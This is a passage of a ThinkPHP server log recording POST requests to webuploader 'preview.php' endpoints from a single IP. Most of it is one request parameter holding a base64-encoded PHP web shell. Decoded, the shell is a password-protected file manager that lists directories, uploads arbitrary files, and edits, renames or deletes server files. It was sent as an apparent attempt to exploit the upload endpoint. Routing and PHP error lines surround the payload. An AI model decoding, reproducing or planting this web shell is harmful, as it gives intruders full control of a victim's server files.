HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:20+08:00 ] 119.42.146.234 POST 59.110.137.245/admin/include//webuploader/0.1.15/server/preview.php [运行时间:0.002732s] [吞吐率:366.06req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'include', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:23+08:00 ] 119.42.146.234 POST 59.110.137.245/Theme/assets/webuploader/0.1.15/server/preview.php [运行时间:0.002713s] [吞吐率:368.57req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] 